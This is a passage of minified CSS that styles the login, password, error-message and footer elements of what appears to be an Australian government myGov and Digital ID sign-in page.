a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line {line-height:1.33333}.secondary .wrapper-mapwap h2:first-of-type,.secondary .wrapper-mapwap .display:first-of-type,.secondary #inner-content h2:first-of-type,.secondary #inner-content .display:first-of-type,.secondary .unauth h2:first-of-type,.secondary .unauth .display:first-of-type{margin-top:36px;margin-top:2.25rem;margin-bottom:12px;margin-bottom:.75rem}.wrapper-mapwap a.button-back::before,#inner-content a.button-back::before,.unauth a.button-back::before{top:-1.8px;top:-0.1125rem;left:-20px;left:-1.25rem;background-size:12px;background-size:.75rem;width:12px;width:.75rem;background-image:url("../icons/blugov-left-chevron-dark.svg");right:unset}.wrapper-mapwap p.login-instruction-text,#inner-content p.login-instruction-text,.unauth p.login-instruction-text{margin-top:0;color:#333}.wrapper-mapwap .login-grid-container,#inner-content .login-grid-container,.unauth .login-grid-container{margin-top:65px;margin-top:4.0625rem}.wrapper-mapwap .login-grid-container .button-back,#inner-content .login-grid-container .button-back,.unauth .login-grid-container .button-back{margin-top:0;line-height:1.5}.wrapper-mapwap #mygov-login-form.alternative,#inner-content #mygov-login-form.alternative,.unauth #mygov-login-form.alternative{margin-left:0;margin-right:0}.wrapper-mapwap .help-info-button,.wrapper-mapwap .help-info,.wrapper-mapwap #inner-content .help-info,#inner-content .wrapper-mapwap .help-info,#inner-content .help-info-button,#inner-content .help-info,.unauth .help-info-button,.unauth #inner-content .help-info,#inner-content .unauth .help-info,.unauth .help-info{font-size:16px;font-size:1rem;font-weight:500;border:0;text-decoration:underline}.wrapper-mapwap .help-info-button::after,.wrapper-mapwap .help-info::after,.wrapper-mapwap #inner-content .help-info::after,#inner-content .wrapper-mapwap .help-info::after,#inner-content .help-info-button::after,#inner-content .help-info::after,.unauth .help-info-button::after,.unauth #inner-content .help-info::after,#inner-content .unauth .help-info::after,.unauth .help-info::after{width:16px;width:1rem;height:11px;height:.6875rem;right:-20px;right:-1.25rem;background-size:contain;background-position:center;bottom:0;top:0;margin:auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg")}.wrapper-mapwap .help-info-button[aria-expanded="true"]::after,.wrapper-mapwap [aria-expanded="true"].help-info::after,.wrapper-mapwap #inner-content [aria-expanded="true"].help-info::after,#inner-content .wrapper-mapwap [aria-expanded="true"].help-info::after,#inner-content .help-info-button[aria-expanded="true"]::after,#inner-content [aria-expanded="true"].help-info::after,.unauth .help-info-button[aria-expanded="true"]::after,.unauth #inner-content [aria-expanded="true"].help-info::after,#inner-content .unauth [aria-expanded="true"].help-info::after,.unauth [aria-expanded="true"].help-info::after{right:-20px;right:-1.25rem;top:0;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:10px 16px 16px;padding:.625rem 1rem 1rem;font-size:16px;font-size:1rem;margin-bottom:20px;margin-bottom:1.25rem;border-left-width:2px;border-left-width:.125rem;line-height:1.25;color:#101820;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg::first-line ,.wrapper-mapwap .error-msg::first-line ,#inner-content .success-msg::first-line ,#inner-content .error-msg::first-line ,.unauth .success-msg::first-line ,.unauth .error-msg::first-line {line-height:1.3125}.wrapper-mapwap .success-msg:before,.wrapper-mapwap .error-msg:before,#inner-content .success-msg:before,#inner-content .error-msg:before,.unauth .success-msg:before,.unauth .error-msg:before{width:24px;width:1.5rem;height:24px;height:1.5rem;top:29px;top:1.8125rem;left:-37px;left:-2.3125rem;background-size:contain;-webkit-transform:none;transform:none}.wrapper-mapwap .success-msg strong,.wrapper-mapwap .error-msg strong,#inner-content .success-msg strong,#inner-content .error-msg strong,.unauth .success-msg strong,.unauth .error-msg strong{margin-bottom:3px;margin-bottom:.1875rem}.wrapper-mapwap .success-msg *,.wrapper-mapwap .success-msg a,.wrapper-mapwap .success-msg a.anchor,.wrapper-mapwap .success-msg .error-msg-text *,.wrapper-mapwap .success-msg .error-msg-text a,.wrapper-mapwap .success-msg .error-msg-text a.anchor,.wrapper-mapwap .success-msg .success-msg-text *,.wrapper-mapwap .success-msg .success-msg-text a,.wrapper-mapwap .success-msg .success-msg-text a.anchor,.wrapper-mapwap .error-msg *,.wrapper-mapwap .error-msg a,.wrapper-mapwap .error-msg a.anchor,.wrapper-mapwap .error-msg .error-msg-text *,.wrapper-mapwap .error-msg .error-msg-text a,.wrapper-mapwap .error-msg .error-msg-text a.anchor,.wrapper-mapwap .error-msg .success-msg-text *,.wrapper-mapwap .error-msg .success-msg-text a,.wrapper-mapwap .error-msg .success-msg-text a.anchor,#inner-content .success-msg *,#inner-content .success-msg a,#inner-content .success-msg a.anchor,#inner-content .success-msg .error-msg-text *,#inner-content .success-msg .error-msg-text a,#inner-content .success-msg .error-msg-text a.anchor,#inner-content .success-msg .success-msg-text *,#inner-content .success-msg .success-msg-text a,#inner-content .success-msg .success-msg-text a.anchor,#inner-content .error-msg *,#inner-content .error-msg a,#inner-content .error-msg a.anchor,#inner-content .error-msg .error-msg-text *,#inner-content .error-msg .error-msg-text a,#inner-content .error-msg .error-msg-text a.anchor,#inner-content .error-msg .success-msg-text *,#inner-content .error-msg .success-msg-text a,#inner-content .error-msg .success-msg-text a.anchor,.unauth .success-msg *,.unauth .success-msg a,.unauth .success-msg a.anchor,.unauth .success-msg .error-msg-text *,.unauth .success-msg .error-msg-text a,.unauth .success-msg .error-msg-text a.anchor,.unauth .success-msg .success-msg-text *,.unauth .success-msg .success-msg-text a,.unauth .success-msg .success-msg-text a.anchor,.unauth .error-msg *,.unauth .error-msg a,.unauth .error-msg a.anchor,.unauth .error-msg .error-msg-text *,.unauth .error-msg .error-msg-text a,.unauth .error-msg .error-msg-text a.anchor,.unauth .error-msg .success-msg-text *,.unauth .error-msg .success-msg-text a,.unauth .error-msg .success-msg-text a.anchor{line-height:inherit;font-size:inherit}.wrapper-mapwap .success-msg .error-msg-text,.wrapper-mapwap .success-msg .success-msg-text,.wrapper-mapwap .error-msg .error-msg-text,.wrapper-mapwap .error-msg .success-msg-text,#inner-content .success-msg .error-msg-text,#inner-content .success-msg .success-msg-text,#inner-content .error-msg .error-msg-text,#inner-content .error-msg .success-msg-text,.unauth .success-msg .error-msg-text,.unauth .success-msg .success-msg-text,.unauth .error-msg .error-msg-text,.unauth .error-msg .success-msg-text{-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .error-msg-text>span>strong,.wrapper-mapwap .success-msg .success-msg-text>span>strong,.wrapper-mapwap .error-msg .error-msg-text>span>strong,.wrapper-mapwap .error-msg .success-msg-text>span>strong,#inner-content .success-msg .error-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,#inner-content .error-msg .success-msg-text>span>strong,.unauth .success-msg .error-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong,.unauth .error-msg .success-msg-text>span>strong{padding:8px 16px 7px;padding:.5rem 1rem .4375rem;margin-left:-16px;margin-left:-1rem;margin-right:-16px;margin-right:-1rem;margin-top:-10px;margin-top:-0.625rem;margin-bottom:10px;margin-bottom:.625rem;font-size:15px;font-size:.9375rem;min-height:34px;min-height:2.125rem;font-weight:500;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg .error-msg-text>span>strong:before,.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,.wrapper-mapwap .error-msg .success-msg-text>span>strong:before,#inner-content .success-msg .error-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .success-msg-text>span>strong:before,.unauth .success-msg .error-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .success-msg-text>span>strong:before{width:16px;width:1rem;height:16px;height:1rem;margin-right:6px;margin-right:.375rem;content:"";display:block;background-repeat:no-repeat;background-position:center;background-size:contain}.wrapper-mapwap .success-msg .error-msg-text>span>strong+br,.wrapper-mapwap .success-msg .success-msg-text>span>strong+br,.wrapper-mapwap .error-msg .error-msg-text>span>strong+br,.wrapper-mapwap .error-msg .success-msg-text>span>strong+br,#inner-content .success-msg .error-msg-text>span>strong+br,#inner-content .success-msg .success-msg-text>span>strong+br,#inner-content .error-msg .error-msg-text>span>strong+br,#inner-content .error-msg .success-msg-text>span>strong+br,.unauth .success-msg .error-msg-text>span>strong+br,.unauth .success-msg .success-msg-text>span>strong+br,.unauth .error-msg .error-msg-text>span>strong+br,.unauth .error-msg .success-msg-text>span>strong+br{display:none}}@media screen and (min-width:768px){.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:14px 27px;padding:.875rem 1.6875rem;border-left-width:53px;border-left-width:3.3125rem;min-height:97px;min-height:6.0625rem;margin-bottom:37px;margin-bottom:2.3125rem}}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .success-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong{background-color:#1a9f50}.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before{background-image:url("../icons/mobile-success-icon.svg")}}@media screen and (max-width:767px){.wrapper-mapwap .error-msg .error-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong{background-color:#dc3548}.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before{background-image:url("../icons/mobile-error-icon.svg")}}.wrapper-mapwap #security-codes-info,#inner-content #security-codes-info,.unauth #security-codes-info{font-size:16px;font-size:1rem;border:0;margin:0;padding:0;background-color:unset;color:#000}.wrapper-mapwap .hasError,#inner-content .hasError,.unauth .hasError{margin:0 0 8px;margin:0 0 .5rem;border-left:none;padding-left:0}.wrapper-mapwap .hasError .form-helper-message,#inner-content .hasError .form-helper-message,.unauth .hasError .form-helper-message{font-size:14px;font-size:.875rem;padding-left:22px;padding-left:1.375rem;font-weight:500;position:relative}.wrapper-mapwap .hasError .form-helper-message::after,#inner-content .hasError .form-helper-message::after,.unauth .hasError .form-helper-message::after{height:16px;height:1rem;width:16px;width:1rem;min-width:16px;min-width:1rem;top:2px;top:.125rem;content:"";background-image:url("../icons/inline-error-icon.svg");background-size:contain;display:block;position:absolute;left:0}.wrapper-mapwap .hasError p,#inner-content .hasError p,.unauth .hasError p{line-height:1.14286;margin-top:0}.wrapper-mapwap .hasError span.hasError p,#inner-content .hasError span.hasError p,.unauth .hasError span.hasError p{margin-top:0}.wrapper-mapwap .digital-id-login-option-container,#inner-content .digital-id-login-option-container,.unauth .digital-id-login-option-container{background-color:unset;border:0;margin-top:0;overflow:unset}.wrapper-mapwap .digital-id-login-option-container .inner-options,#inner-content .digital-id-login-option-container .inner-options,.unauth .digital-id-login-option-container .inner-options{margin-left:0;margin-right:0;padding-bottom:0}.wrapper-mapwap .digital-id-login-option-container .external-links-zone,#inner-content .digital-id-login-option-container .external-links-zone,.unauth .digital-id-login-option-container .external-links-zone{margin-top:0}.wrapper-mapwap .create-account-text,.wrapper-mapwap .create-account-link,#inner-content .create-account-text,#inner-content .create-account-link,.unauth .create-account-text,.unauth .create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError 